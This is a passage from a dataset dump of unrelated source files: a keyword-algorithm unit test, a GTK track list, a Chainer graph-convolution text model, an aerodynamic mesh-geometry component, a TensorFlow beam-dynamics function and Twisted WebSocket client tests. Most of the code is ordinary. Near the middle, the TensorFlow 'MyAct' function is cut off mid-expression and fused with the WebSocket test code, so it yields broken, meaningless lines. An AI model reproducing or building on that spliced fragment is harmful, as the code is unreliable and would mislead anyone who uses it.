takes place. Hop-by-hop support schemes\nthen allow to (statistically) trade the loss of one packet,\nwhich is considered more important, against another one of\nthe same flow which is of lower importance. As both \npackets require the same cost in terms of network transmission,\na gain in user perception is obtainable. We show that \nsignificant speech quality improvements can be achieved and\nadditional data and delay overhead can be avoided while\nstill maintaining a network service which is virtually \nidentical to best effort in the long term.\n\"\"\".replace('\\n', ' ')]\n\n\nclass TestAlgorithms(unittest.TestCase):\n \"\"\"Unit test for algorithms\"\"\"\n\n def test_text_rank(self):\n for i in VALID_ALGORITHMS:\n logging.info(\"TESTING ALGORITHM: {}\".format(i))\n model = get_algorithm(i)\n\n if model.prior_required:\n model.train(TEST_DOCS, export_directory='./cache/unittest/priors')\n model.load('./cache/unittest/priors')\n out = model.get_keywords(TEST_DOCS[0], n_keywords=2)\n for k in out:\n logging.info(k)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","sub_path":"tests/test_algorithms_en.py","file_name":"test_algorithms_en.py","file_ext":"py","file_size_in_byte":5548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"334268476","text":"from gi.repository import Gtk\nimport media\n\nclass Fileselector(Gtk.TreeView):\n\tdef __init__(self, gui):\n\t\tself.data = gui.data\n\t\tself.store = Gtk.ListStore(object, str, str)\n\t\tGtk.TreeView.__init__(self, self.store)\n\t\tself.namecol = self.mkcol('Name', 1)\n\t\tself.timecol = self.mkcol('Duration', 2)\n\t\tself.update_list()\n\t\tself.connect('row-activated', self.activate)\n\t\tself.load_event = gui.register_event('load')\n\t\tgui.register_attribute('rename_track', None, self.rename_track)\n\t\tgui.register_attribute('update', None, self.update_list)\n\tdef mkcol(self, title, col):\n\t\tret = Gtk.TreeViewColumn(title)\n\t\trenderer = Gtk.CellRendererText()\n\t\tself.append_column(ret)\n\t\tret.pack_start(renderer, True)\n\t\tret.add_attribute(renderer, 'text', col)\n\t\treturn ret\n\tdef rename_track(self, track):\n\t\tself.update_list()\n\t\tself.store.set_value(track.iter, 1, track.name)\n\tdef update_list(self, dummy = None):\n\t\tcurrent = self.store.get_iter_first()\n\t\tfor track in self.data['db']:\n\t\t\tif self.data['tag'] != '' and self.data['tag'] not in track.tags:\n\t\t\t\t# Current should not be in the list.\n\t\t\t\tif track.iter is not None:\n\t\t\t\t\t# But it is: remove it.\n\t\t\t\t\tn = self.store.iter_next(current)\n\t\t\t\t\tself.store.remove(current)\n\t\t\t\t\ttrack.iter = None\n\t\t\t\t\tcurrent = n\n\t\t\t\tcontinue\n\t\t\tif track.iter is not None and track == self.store.get_value(current, 0):\n\t\t\t\t# Current is already in the list.\n\t\t\t\ttrack.iter = current\n\t\t\t\tcurrent = self.store.iter_next(current)\n\t\t\t\tcontinue\n\t\t\tassert track.iter is None\n\t\t\t# Add current to the list.\n\t\t\ttrack.iter = self.store.insert_before(current, (track, track.name, media.mkintervalstr(track.duration)))\n\tdef activate(self, tv, path, col):\n\t\tself.data['track'] = self.store.get_value(self.store.get_iter(path), 0)\n\t\tself.load_event()\n","sub_path":"fileselector.py","file_name":"fileselector.py","file_ext":"py","file_size_in_byte":1753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"302434889","text":"\nfrom typing import List, Dict\n\nimport chainer\nimport chainer.functions as F\nimport chainer.links as L\nimport numpy as np\nfrom chainer import reporter\n\nimport gcnte.util.chainer_util as chainer_util\nfrom gcnte.nn.model.unit.FcEncoder import FcEncoder\nfrom gcnte.nn.model.unit.GRUEncoder import GRUEncoder\nfrom gcnte.nn.model.unit.Attention import Attention\nfrom gcnte.nn.model.unit.SyntacticGCN import SyntacticGCN\nfrom gcnte.nn.model.unit.SyntacticCustomGCN import SyntacticCustomGCN\n\n\nclass CoupleBiLSTMGCN(chainer.Chain):\n \"\"\"\n 複数の分類器へ接続するマルチタスク学習\n \"\"\"\n def __init__(\n self, n_source_vocab: int, n_units: int, n_outs: int, n_stack: int=1, dropout=0.2):\n assert n_stack > 0\n assert n_units > 0\n assert n_outs > 0\n assert 0 <= dropout <= 1\n self.n_stack = n_stack\n self.dropout_rate = dropout\n super(CoupleBiLSTMGCN, self).__init__()\n with self.init_scope():\n self.embed_x = L.EmbedID(n_source_vocab, n_units, ignore_label=-1)\n # sentence_a Encoder\n self.sentence_a_foward = FcEncoder(n_units=n_units, n_out=None, dropout=dropout)\n self.sentence_a_backward = FcEncoder(n_units=n_units, n_out=None, dropout=dropout)\n # sentence_b Encoder\n self.sentence_b_foward = FcEncoder(n_units=n_units, n_out=None, dropout=dropout)\n self.sentence_b_backward = FcEncoder(n_units=n_units, n_out=None, dropout=dropout)\n # sentence_a グラフ畳み込み\n self.sentence_a_gcn = SyntacticCustomGCN(n_units=2 * n_units, activation=F.relu, edge_dropout=0.0)\n # sentence_b グラフ畳み込み\n self.sentence_b_gcn = SyntacticCustomGCN(n_units=2 * n_units, activation=F.relu, edge_dropout=0.0)\n # sentence_a アテンション\n #self.sentence_a_att = Attention(n_units=2 * n_units)\n # sentence_b アテンション\n #self.sentence_b_att = Attention(n_units=2 * n_units)\n # MLP\n #self.mlp1 = L.Linear(in_size=None, out_size=n_units)\n # 出力層\n self.out_layer = L.Linear(in_size=None, out_size=n_outs)\n\n def forward(self, a_xs, a_dependency, b_xs, b_dependency):\n \"\"\"\n 順伝播してスレッドエンコーダの各時刻の出力履歴を返す\n :return:\n \"\"\"\n # sentence_a 単語埋め込み\n a_exs = chainer_util.sequence_embed(self.embed_x, a_xs)\n a_exs = F.stack(a_exs)\n\n # sentence_b 単語埋め込み\n b_exs = chainer_util.sequence_embed(self.embed_x, b_xs)\n b_exs = F.stack(b_exs)\n\n # sentence_a Encode\n a_lhx, a_rhx, a_hx = chainer_util.bidirectional_encode(\n self.sentence_a_foward,\n self.sentence_a_backward,\n a_exs,\n a_exs,\n reverse_direction=True\n ) # a_hx: (バッチサイズ, 系列長, 2 * n_units)\n\n # sentence_b Encode\n b_lhx, b_rhx, b_hx = chainer_util.bidirectional_encode(\n self.sentence_b_foward,\n self.sentence_b_backward,\n b_exs,\n b_exs,\n reverse_direction=True\n ) # b_hx: (バッチサイズ, 系列長, 2 * n_units)\n\n # sentence_a GCN\n a_gcn_hx_list = self.sentence_a_gcn(\n hxs_list=a_hx,\n dependency_tuples_list=[\n [(dep[1], dep[2]) for dep in dep_list] for dep_list in a_dependency\n ] # タプルの最初の要素は係り受け種類\n ) # (バッチサイズ, 系列長, 2 * n_units)\n #F.dropout(a_gcn_hx_list, ratio=self.dropout_rate)\n\n # sentence_b GCN\n b_gcn_hx_list = self.sentence_b_gcn(\n hxs_list=b_hx,\n dependency_tuples_list=[\n [(dep[1], dep[2]) for dep in dep_list] for dep_list in b_dependency\n ] # タプルの最初の要素は係り受け種類\n ) # (バッチサイズ, 系列長, 2 * n_units)\n #F.dropout(b_gcn_hx_list, ratio=self.dropout_rate)\n\n \"\"\"\n # attention_a アテンション\n a_att_list = self.sentence_a_att(a_gcn_hx_list) # (系列長, バッチサイズ)\n a_att_list = F.transpose(a_att_list, axes=(1, 0)) # (バッチサイズ, 系列長)\n \"\"\"\n\n \"\"\"\n # attention_b アテンション\n b_att_list = self.sentence_b_att(b_gcn_hx_list) # (系列長, バッチサイズ)\n b_att_list = F.transpose(b_att_list, axes=(1, 0)) # (バッチサイズ, 系列長)\n \"\"\"\n\n \"\"\"\n # sentence_a 各バッチで，GCNの最終層のベクトルを足し合わせる\n a_sum_hxs = []\n for gcn_hx in b_gcn_hx_list:\n a_sum_hxs.append(\n F.sum(gcn_hx, axis=0)\n )\n a_sum_hxs = F.stack(a_sum_hxs) # (バッチサイズ, 2 * n_units)\n \"\"\"\n\n # sentence_a 各バッチで，GCNの最終層のベクトルを Max Pooling\n a_result_hxs = []\n for gcn_hx in a_gcn_hx_list:\n # gcn_hx : (dependencyの数, 2 * n_units)\n cnv_gcn_hx = F.transpose(gcn_hx, axes=(1, 0)) # (2 * n_units, dependencyの数)\n len_units = cnv_gcn_hx.shape[0]\n len_dep = cnv_gcn_hx.shape[1]\n # max_pooling_2d は (バッチサイズ，チャネル数，縦，横)の形式にする必要がある\n cnv_gcn_hx = F.reshape(\n cnv_gcn_hx, shape=(1, 1, len_units, len_dep)\n ) # (1, 1, 2 * n_units, dependencyの数)\n # (1, 2 * n_units)のカーネルでプーリング\n cnv_gcn_hx = F.max_pooling_2d(\n cnv_gcn_hx, ksize=(1, len_dep)\n ) # (1, 1, 2 * n_units, 1)\n cnv_gcn_hx = F.reshape(cnv_gcn_hx, shape=(len_units, )) # (2 * n_units, )\n a_result_hxs.append(\n cnv_gcn_hx\n )\n a_result_hxs = F.relu(F.stack(a_result_hxs)) # (バッチサイズ, 2 * n_units)\n\n \"\"\"\n for gcn_hx, att in zip(a_gcn_hx_list, a_att_list):\n # att (系列長, )\n att2 = F.stack([att]).T\n att2 = F.broadcast_to(att2, shape=gcn_hx.shape) # (系列長, 2 * n_units)\n att_gcn_hx = att2 * gcn_hx\n a_sum_hxs.append(\n F.sum(att_gcn_hx, axis=0)\n )\n a_sum_hxs = F.stack(a_sum_hxs) # (バッチサイズ, 2 * n_units)\n \"\"\"\n\n \"\"\"\n # sentence_a 各バッチで，GCNの最終層のベクトルを足し合わせる\n b_sum_hxs = []\n for gcn_hx in a_gcn_hx_list:\n b_sum_hxs.append(\n F.sum(gcn_hx, axis=0)\n )\n b_sum_hxs = F.stack(b_sum_hxs) # (バッチサイズ, 2 * n_units)\n \"\"\"\n\n \"\"\"\n for gcn_hx, att in zip(b_gcn_hx_list, b_att_list):\n # att (系列長, )\n att2 = F.stack([att]).T\n att2 = F.broadcast_to(att2, shape=gcn_hx.shape) # (系列長, 2 * n_units)\n att_gcn_hx = att2 * gcn_hx\n b_sum_hxs.append(\n F.sum(att_gcn_hx, axis=0)\n )\n b_sum_hxs = F.stack(b_sum_hxs) # (バッチサイズ, 2 * n_units)\n \"\"\"\n\n\n # sentence_b 各バッチで，GCNの最終層のベクトルを Max Pooling\n b_result_hxs = []\n for gcn_hx in b_gcn_hx_list:\n # gcn_hx : (dependencyの数, 2 * n_units)\n cnv_gcn_hx = F.transpose(gcn_hx, axes=(1, 0)) # (2 * n_units, dependencyの数)\n len_units = cnv_gcn_hx.shape[0]\n len_dep = cnv_gcn_hx.shape[1]\n # max_pooling_2d は (バッチサイズ，チャネル数，縦，横)の形式にする必要がある\n cnv_gcn_hx = F.reshape(\n cnv_gcn_hx, shape=(1, 1, len_units, len_dep)\n ) # (1, 1, 2 * n_units, dependencyの数)\n # (1, 2 * n_units)のカーネルでプーリング\n cnv_gcn_hx = F.max_pooling_2d(\n cnv_gcn_hx, ksize=(1, len_dep)\n ) # (1, 1, 2 * n_units, 1)\n cnv_gcn_hx = F.reshape(cnv_gcn_hx, shape=(len_units, )) # (2 * n_units, )\n b_result_hxs.append(\n cnv_gcn_hx\n )\n b_result_hxs = F.relu(F.stack(b_result_hxs)) # (バッチサイズ, 2 * n_units)\n\n\n # 最後の出力を concat したベクトル\n concat_enc = F.concat((a_result_hxs, b_result_hxs), axis=1)\n concat_enc = F.relu(concat_enc) # (バッチサイズ, 2 * n_units)\n\n # MLP\n \"\"\"\n concat_enc = self.mlp1(concat_enc)\n concat_enc = F.relu(concat_enc)\n \"\"\"\n\n return concat_enc\n\n def __call__(self, a_xs, a_dependency, b_xs, b_dependency, ys_tag):\n \"\"\"\n シーケンスリストバッチを受け取って順伝播する\n :param xs: 単語シーケンス Batch\n :param ys: 正解 Batch\n :return: 損失\n \"\"\"\n concat_enc = self.forward(a_xs, a_dependency, b_xs, b_dependency)\n\n # 損失を計算\n loss = chainer.Variable(self.xp.array(0, dtype='f'))\n for c_enc, y in zip(concat_enc, ys_tag): # バッチごとにループ\n y_pred = self.out_layer(F.stack([c_enc]))\n loss += F.softmax_cross_entropy(y_pred, y)\n loss /= len(a_xs)\n return loss\n\n def test(self, a_xs, a_dependency, b_xs, b_dependency):\n with chainer.no_backprop_mode(), chainer.using_config('train', False):\n concat_enc = self.forward(a_xs, a_dependency, b_xs, b_dependency)\n\n outs = []\n for c_enc in concat_enc: # バッチごとにループ\n y_pred = self.out_layer(F.stack([c_enc]))\n y_arg = F.argmax(y_pred, axis=1)\n outs.append(\n chainer.cuda.to_cpu(y_arg.data)\n )\n return outs\n\n def validation(self, a_xs, a_dependency, b_xs, b_dependency, ys_tag):\n with chainer.no_backprop_mode(), chainer.using_config('train', False):\n concat_enc = self.forward(a_xs, a_dependency, b_xs, b_dependency)\n # 損失を計算\n loss = chainer.Variable(self.xp.array(0, dtype='f'))\n for c_enc, y in zip(concat_enc, ys_tag): # バッチごとにループ\n y_pred = self.out_layer(F.stack([c_enc]))\n loss += F.softmax_cross_entropy(y_pred, y)\n loss /= len(a_xs)\n return loss\n","sub_path":"src/gcnte/nn/model/couple_bilstm_gcn/CoupleBiLSTMGCN.py","file_name":"CoupleBiLSTMGCN.py","file_ext":"py","file_size_in_byte":10475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"181953736","text":"from __future__ import print_function, division\r\nimport numpy as np\r\n\r\nfrom openmdao.api import ExplicitComponent\r\n\r\ntry:\r\n from openaerostruct.fortran import OAS_API\r\n fortran_flag = True\r\nexcept:\r\n fortran_flag = False\r\n\r\ndata_type = float\r\nnp.random.seed(314)\r\n\r\nclass VLMGeometry(ExplicitComponent):\r\n \"\"\" Compute various geometric properties for VLM analysis.\r\n\r\n parameters\r\n ----------\r\n def_mesh[nx, ny, 3] : numpy array\r\n Array defining the nodal coordinates of the lifting surface.\r\n\r\n Returns\r\n -------\r\n b_pts[nx-1, ny, 3] : numpy array\r\n Bound points for the horseshoe vortices, found along the 1/4 chord.\r\n c_pts[nx-1, ny-1, 3] : numpy array\r\n Collocation points on the 3/4 chord line where the flow tangency\r\n condition is satisfed. Used to set up the linear system.\r\n widths[ny-1] : numpy array\r\n The spanwise widths of each individual panel.\r\n lengths[ny] : numpy array\r\n The chordwise length of the entire airfoil following the camber line.\r\n chords[ny] : numpy array\r\n The chordwise distance between the leading and trailing edges.\r\n normals[nx-1, ny-1, 3] : numpy array\r\n The normal vector for each panel, computed as the cross of the two\r\n diagonals from the mesh points.\r\n S_ref : float\r\n The reference area of the lifting surface.\r\n \"\"\"\r\n\r\n def initialize(self):\r\n self.options.declare('surface', types=dict)\r\n\r\n def setup(self):\r\n self.surface = surface = self.options['surface']\r\n\r\n self.ny = surface['num_y']\r\n self.nx = surface['num_x']\r\n\r\n self.add_input('def_mesh', val=np.zeros((self.nx, self.ny, 3)), units='m')\r\n\r\n self.add_output('b_pts', val=np.random.random((self.nx-1, self.ny, 3)), units='m')\r\n self.add_output('c_pts', val=np.zeros((self.nx-1, self.ny-1, 3)), units='m')\r\n self.add_output('widths', val=np.ones((self.ny-1)), units='m')\r\n self.add_output('cos_sweep', val=np.zeros((self.ny-1)), units='m')\r\n self.add_output('lengths', val=np.zeros((self.ny)), units='m')\r\n self.add_output('chords', val=np.zeros((self.ny)), units='m')\r\n self.add_output('normals', val=np.zeros((self.nx-1, self.ny-1, 3)))\r\n self.add_output('S_ref', val=1., units='m**2')\r\n\r\n self.declare_partials('*', '*')\r\n\r\n if not fortran_flag:\r\n self.declare_partials('S_ref', 'def_mesh', method='fd')\r\n\r\n def compute(self, inputs, outputs):\r\n mesh = inputs['def_mesh']\r\n\r\n # Compute the bound points at quarter-chord\r\n b_pts = mesh[:-1, :, :] * .75 + mesh[1:, :, :] * .25\r\n\r\n # Compute the collocation points at the midpoints of each\r\n # panel's 3/4 chord line\r\n c_pts = 0.5 * 0.25 * mesh[:-1, :-1, :] + \\\r\n 0.5 * 0.75 * mesh[1:, :-1, :] + \\\r\n 0.5 * 0.25 * mesh[:-1, 1:, :] + \\\r\n 0.5 * 0.75 * mesh[1:, 1:, :]\r\n\r\n # Compute the widths of each panel at the quarter-chord line\r\n quarter_chord = 0.25 * mesh[-1] + 0.75 * mesh[0]\r\n widths = np.linalg.norm(quarter_chord[1:, :] - quarter_chord[:-1, :], axis=1)\r\n\r\n # Compute the numerator of the cosine of the sweep angle of each panel\r\n # (we need this for the viscous drag dependence on sweep, and we only compute\r\n # the numerator because the denominator of the cosine fraction is the width,\r\n # which we have already computed. They are combined in the viscous drag\r\n # calculation.)\r\n cos_sweep = np.linalg.norm(quarter_chord[1:, [1,2]] - quarter_chord[:-1, [1,2]], axis=1)\r\n\r\n # Compute the length of each chordwise set of mesh points through the camber line.\r\n dx = mesh[1:, :, 0] - mesh[:-1, :, 0]\r\n dy = mesh[1:, :, 1] - mesh[:-1, :, 1]\r\n dz = mesh[1:, :, 2] - mesh[:-1, :, 2]\r\n lengths = np.sum(np.sqrt(dx**2 + dy**2 + dz**2), axis=0)\r\n\r\n # Compute the normal of each panel by taking the cross-product of\r\n # its diagonals. Note that this could be a nonplanar surface\r\n normals = np.cross(\r\n mesh[:-1, 1:, :] - mesh[1:, :-1, :],\r\n mesh[:-1, :-1, :] - mesh[1:, 1:, :],\r\n axis=2)\r\n\r\n # Normalize the normal vectors\r\n norms = np.sqrt(np.sum(normals**2, axis=2))\r\n for j in range(3):\r\n normals[:, :, j] /= norms\r\n\r\n # Compute the wetted surface area\r\n if self.surface['S_ref_type'] == 'wetted':\r\n S_ref = 0.5 * np.sum(norms)\r\n\r\n # Compute the projected surface area\r\n elif self.surface['S_ref_type'] == 'projected':\r\n proj_mesh = mesh.copy()\r\n proj_mesh[: , :, 2] = 0.\r\n proj_normals = np.cross(\r\n proj_mesh[:-1, 1:, :] - proj_mesh[1:, :-1, :],\r\n proj_mesh[:-1, :-1, :] - proj_mesh[1:, 1:, :],\r\n axis=2)\r\n\r\n proj_norms = np.sqrt(np.sum(proj_normals**2, axis=2))\r\n for j in range(3):\r\n proj_normals[:, :, j] /= proj_norms\r\n\r\n S_ref = 0.5 * np.sum(proj_norms)\r\n\r\n # Multiply the surface area by 2 if symmetric to get consistent area measures\r\n if self.surface['symmetry']:\r\n S_ref *= 2\r\n\r\n # Compute the chord for each spanwise portion.\r\n # This is the distance from the leading to trailing edge.\r\n chords = np.linalg.norm(mesh[0, :, :] - mesh[-1, :, :], axis=1)\r\n\r\n # Store each array in the outputs dict\r\n outputs['b_pts'] = b_pts\r\n outputs['c_pts'] = c_pts\r\n outputs['widths'] = widths\r\n outputs['cos_sweep'] = cos_sweep\r\n outputs['lengths'] = lengths\r\n outputs['normals'] = normals\r\n outputs['S_ref'] = S_ref\r\n outputs['chords'] = chords\r\n\r\n def compute_partials(self, inputs, partials):\r\n \"\"\" Jacobian for VLM geometry.\"\"\"\r\n\r\n nx = self.nx\r\n ny = self.ny\r\n mesh = inputs['def_mesh']\r\n\r\n if fortran_flag:\r\n\r\n normalsb = np.zeros((nx-1, ny-1, 3))\r\n for i in range(nx-1):\r\n for j in range(ny-1):\r\n for ind in range(3):\r\n normalsb[:, :, :] = 0.\r\n normalsb[i, j, ind] = 1.\r\n meshb, _, _ = OAS_API.oas_api.compute_normals_b(mesh, normalsb, 0.)\r\n partials['normals', 'def_mesh'][i*(ny-1)*3 + j*3 + ind, :] = meshb.flatten()\r\n\r\n normalsb[:, :, :] = 0.\r\n if self.surface['S_ref_type'] == 'wetted':\r\n seed_mesh = mesh\r\n elif self.surface['S_ref_type'] == 'projected':\r\n seed_mesh = mesh.copy()\r\n seed_mesh[:, :, 2] = 0.\r\n meshb, _, _ = OAS_API.oas_api.compute_normals_b(seed_mesh, normalsb, 1.)\r\n\r\n partials['S_ref', 'def_mesh'] = np.atleast_2d(meshb.flatten())\r\n if self.surface['symmetry']:\r\n partials['S_ref', 'def_mesh'] *= 2\r\n\r\n for iz, v in zip((0, ny*3), (.75, .25)):\r\n np.fill_diagonal(partials['b_pts', 'def_mesh'][:, iz:], v)\r\n\r\n for iz, v in zip((0, 3, ny*3, (ny+1)*3),\r\n (.125, .125, .375, .375)):\r\n for ix in range(nx-1):\r\n np.fill_diagonal(partials['c_pts', 'def_mesh']\r\n [(ix*(ny-1))*3:((ix+1)*(ny-1))*3, iz+ix*ny*3:], v)\r\n\r\n # Compute the widths of each panel at the quarter-chord line\r\n quarter_chord = 0.25 * mesh[-1] + 0.75 * mesh[0]\r\n widths = np.linalg.norm(quarter_chord[1:, :] - quarter_chord[:-1, :], axis=1)\r\n\r\n # Compute the cosine of the sweep angle of each panel\r\n cos_sweep_array = np.linalg.norm(quarter_chord[1:, [1,2]] - quarter_chord[:-1, [1,2]], axis=1)\r\n\r\n partials['widths', 'def_mesh'] = np.zeros_like(partials['widths', 'def_mesh'])\r\n partials['cos_sweep', 'def_mesh'] = np.zeros_like(partials['cos_sweep', 'def_mesh'])\r\n gap = [0, (nx-1)*ny*3]\r\n factor = [0.75, 0.25]\r\n for i in range(ny-1):\r\n w = widths[i]\r\n cos_sweep = cos_sweep_array[i]\r\n dx = (quarter_chord[i+1, 0] - quarter_chord[i, 0])\r\n dy = (quarter_chord[i+1, 1] - quarter_chord[i, 1])\r\n dz = (quarter_chord[i+1, 2] - quarter_chord[i, 2])\r\n for j in range(2):\r\n partials['widths', 'def_mesh'][i, i*3+gap[j]] -= dx * factor[j] / w\r\n partials['widths', 'def_mesh'][i, (i+1)*3+gap[j]] += dx * factor[j] / w\r\n partials['widths', 'def_mesh'][i, i*3+1+gap[j]] -= dy * factor[j] / w\r\n partials['widths', 'def_mesh'][i, (i+1)*3+1+gap[j]] += dy * factor[j] / w\r\n partials['widths', 'def_mesh'][i, i*3+2+gap[j]] -= dz * factor[j] / w\r\n partials['widths', 'def_mesh'][i, (i+1)*3+2+gap[j]] += dz * factor[j] / w\r\n partials['cos_sweep', 'def_mesh'][i, i*3+1+gap[j]] -= dy / cos_sweep * factor[j]\r\n partials['cos_sweep', 'def_mesh'][i, (i+1)*3+1+gap[j]] += dy / cos_sweep * factor[j]\r\n partials['cos_sweep', 'def_mesh'][i, i*3+2+gap[j]] -= dz / cos_sweep * factor[j]\r\n partials['cos_sweep', 'def_mesh'][i, (i+1)*3+2+gap[j]] += dz / cos_sweep * factor[j]\r\n\r\n partials['lengths', 'def_mesh'] = np.zeros_like(partials['lengths', 'def_mesh'])\r\n for i in range(ny):\r\n dx = mesh[1:, i, 0] - mesh[:-1, i, 0]\r\n dy = mesh[1:, i, 1] - mesh[:-1, i, 1]\r\n dz = mesh[1:, i, 2] - mesh[:-1, i, 2]\r\n for j in range(nx-1):\r\n l = np.sqrt(dx[j]**2 + dy[j]**2 + dz[j]**2)\r\n partials['lengths', 'def_mesh'][i, (j*ny+i)*3] -= dx[j] / l\r\n partials['lengths', 'def_mesh'][i, ((j+1)*ny+i)*3] += dx[j] / l\r\n partials['lengths', 'def_mesh'][i, (j*ny+i)*3 + 1] -= dy[j] / l\r\n partials['lengths', 'def_mesh'][i, ((j+1)*ny+i)*3 + 1] += dy[j] / l\r\n partials['lengths', 'def_mesh'][i, (j*ny+i)*3 + 2] -= dz[j] / l\r\n partials['lengths', 'def_mesh'][i, ((j+1)*ny+i)*3 + 2] += dz[j] / l\r\n\r\n partials['chords', 'def_mesh'] = np.zeros_like(partials['chords', 'def_mesh'])\r\n for i in range(ny):\r\n dx = mesh[0, i, 0] - mesh[-1, i, 0]\r\n dy = mesh[0, i, 1] - mesh[-1, i, 1]\r\n dz = mesh[0, i, 2] - mesh[-1, i, 2]\r\n\r\n l = np.sqrt(dx**2 + dy**2 + dz**2)\r\n\r\n le_ind = 0\r\n te_ind = (nx - 1) * 3 * ny\r\n\r\n partials['chords', 'def_mesh'][i, le_ind + i*3 + 0] += dx / l\r\n partials['chords', 'def_mesh'][i, te_ind + i*3 + 0] -= dx / l\r\n partials['chords', 'def_mesh'][i, le_ind + i*3 + 1] += dy / l\r\n partials['chords', 'def_mesh'][i, te_ind + i*3 + 1] -= dy / l\r\n partials['chords', 'def_mesh'][i, le_ind + i*3 + 2] += dz / l\r\n partials['chords', 'def_mesh'][i, te_ind + i*3 + 2] -= dz / l\r\n\r\n partials['normals', 'def_mesh'] = np.zeros_like(partials['normals', 'def_mesh'])\r\n # Partial of f=normals w.r.t. to x=def_mesh\r\n # f has shape (nx-1, ny-1, 3)\r\n # x has shape (nx, ny, 3)\r\n for i in range(nx-1):\r\n for j in range(ny-1):\r\n # Redo original computation\r\n ll = mesh[i, j, :] # leading-left node\r\n lr = mesh[i, j+1, :] # leading-right node\r\n tl = mesh[i+1, j, :] # trailing-left node\r\n tr = mesh[i+1, j+1, :] # trailing-right node\r\n\r\n a = lr - tl\r\n b = ll - tr\r\n c = np.cross(a, b)\r\n n = np.sqrt(np.sum(c**2))\r\n # f = c / n\r\n\r\n # Now let's work backwards to get derivative\r\n # dfdc = (dcdc * n - c * dndc) / n**2\r\n dcdc = np.eye(3)\r\n dndc = c / n\r\n dfdc = (dcdc * n - np.einsum('i,j', c, dndc)) / n**2\r\n\r\n # dfdc is now a 3x3 jacobian with f along the rows and c along\r\n # the columns\r\n\r\n # The next step is to get dcda and dcdb, both of which will be\r\n # 3x3 jacobians with c along the rows\r\n dcda = np.array([[0, b[2], -b[1]],\r\n [-b[2], 0, b[0]],\r\n [b[1], -b[0], 0]])\r\n dcdb = np.array([[0, -a[2], a[1]],\r\n [a[2], 0, -a[0]],\r\n [-a[1], a[0], 0]])\r\n\r\n # Now let's do some matrix multiplication to get dfda and dfdb\r\n dfda = np.einsum('ij,jk->ik', dfdc, dcda)\r\n dfdb = np.einsum('ij,jk->ik', dfdc, dcdb)\r\n\r\n # Now we need to get dadlr, dadtl, dbdll, and dbdtr and put them\r\n # in the right indices of the big jacobian dfdx\r\n\r\n # These are the indices of the first and last components of f\r\n # for the current i and j\r\n if0 = (i*(ny-1)+j)*3\r\n if2 = (i*(ny-1)+j)*3+2\r\n\r\n # Partial f w.r.t. lr\r\n ix0 = (i*ny+j+1)*3 # First index of lr for current i and j\r\n ix2 = (i*ny+j+1)*3+2 # Last index of lr for current i and j\r\n partials['normals', 'def_mesh'][if0:if2+1,ix0:ix2+1] = dfda[:,:]\r\n\r\n # Partial f w.r.t. tl\r\n ix0 = ((i+1)*ny+j)*3 # First index of tl for current i and j\r\n ix2 = ((i+1)*ny+j)*3+2 # Last index of tl for current i and j\r\n partials['normals', 'def_mesh'][if0:if2+1,ix0:ix2+1] = -dfda[:,:]\r\n\r\n # Partial f w.r.t. ll\r\n ix0 = (i*ny+j)*3 # First index of ll for current i and j\r\n ix2 = (i*ny+j)*3+2 # Last index of ll for current i and j\r\n partials['normals', 'def_mesh'][if0:if2+1,ix0:ix2+1] = dfdb[:,:]\r\n\r\n # Partial f w.r.t. tr\r\n ix0 = ((i+1)*ny+j+1)*3 # First index of tr for current i and j\r\n ix2 = ((i+1)*ny+j+1)*3+2 # Last index of tr for current i and j\r\n partials['normals', 'def_mesh'][if0:if2+1,ix0:ix2+1] = -dfdb[:,:]","sub_path":"openaerostruct/aerodynamics/geometry.py","file_name":"geometry.py","file_ext":"py","file_size_in_byte":14227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"203603845","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 4 20:40:03 2017\nAuthor: Peiyong Jiang : jiangpeiyong@impcas.ac.cn\nFunction:\n Action Function\n______________________________________________________\n\n\n\"\"\"\nimport tensorflow as tf\nfrom MinMax import *\nfrom InputBeam import numPart\n\n\ndef MyAct(x,xp,y,yp,z,betaC):\n xTrue=tf.abs(x)betaCMin\n betaCTrue_Max=betaC 0:\n for i, chunk in enumerate(chunks(data, self.fragment)): \n if i != nb_fragments:\n method.writeFragment(client, chunk, **kwargs)\n ## Final chunk: send with final flag\n method.writeFragment(client, chunk, final=True, **kwargs)\n else:\n ## When there's just one fragment, it will be interpreted\n ## as an unfragmented frame, so force sending it with\n ## final set to false plus an empty final fragment\n method.writeFragment(client, data, final=False, **kwargs)\n method.writeFragment(client, \"\", final=True, **kwargs)\n else:\n method(client, data, **kwargs)\n self.factory.client.write(\"END\")\n return client\n\n def check_response(self, _):\n self.assertEqual(\"\".join(self.factory.frames), self.sent_data)\n self.assertEqual(self.factory.client.subprotocol, None)\n\n\n\nclass SimpleFrames(ClientTestCase):\n \"\"\"\n Tests for L{WebSocketClient}.\n \"\"\"\n\n def test_ShortWrite(self):\n self.factory.expectedResponses = 1\n self.factory.connectionEstablishedDeferred.addCallback(self.send,\n data=self.simpleData)\n return self.factory.connectionLostDeferred.addErrback( \\\n self.clean_disconnection).addCallback(self.check_response)\n\n def test_LongWrite(self):\n self.factory.expectedResponses = 1\n self.factory.connectionEstablishedDeferred.addCallback(self.send,\n data=self.simpleData*1000)\n return self.factory.connectionLostDeferred.addErrback( \\\n self.clean_disconnection).addCallback(self.check_response)\n\n def test_SuperLongWrite(self):\n self.factory.expectedResponses = 1\n self.factory.connectionEstablishedDeferred.addCallback(self.send,\n data=self.simpleData*22000)\n return self.factory.connectionLostDeferred.addErrback( \\\n self.clean_disconnection).addCallback(self.check_response)\n\n def test_ShortWriteBinary(self):\n self.factory.expectedResponses = 1\n self.factory.connectionEstablishedDeferred.addCallback(self.send,\n method=WebSocketClient.writeBinary)\n return self.factory.connectionLostDeferred.addErrback( \\\n self.clean_disconnection).addCallback(self.check_response)\n\n def test_LongWriteBinary(self):\n self.factory.expectedResponses = 1\n self.factory.connectionEstablishedDeferred.addCallback(self.send,\n data=self.simpleData*1000,\n method=WebSocketClient.writeBinary)\n return self.factory.connectionLostDeferred.addErrback( \\\n self.clean_disconnection).addCallback(self.check_response)\n\n def test_SuperLongWriteBinary(self):\n self.factory.expectedResponses = 1\n self.factory.connectionEstablishedDeferred.addCallback(self.send,\n 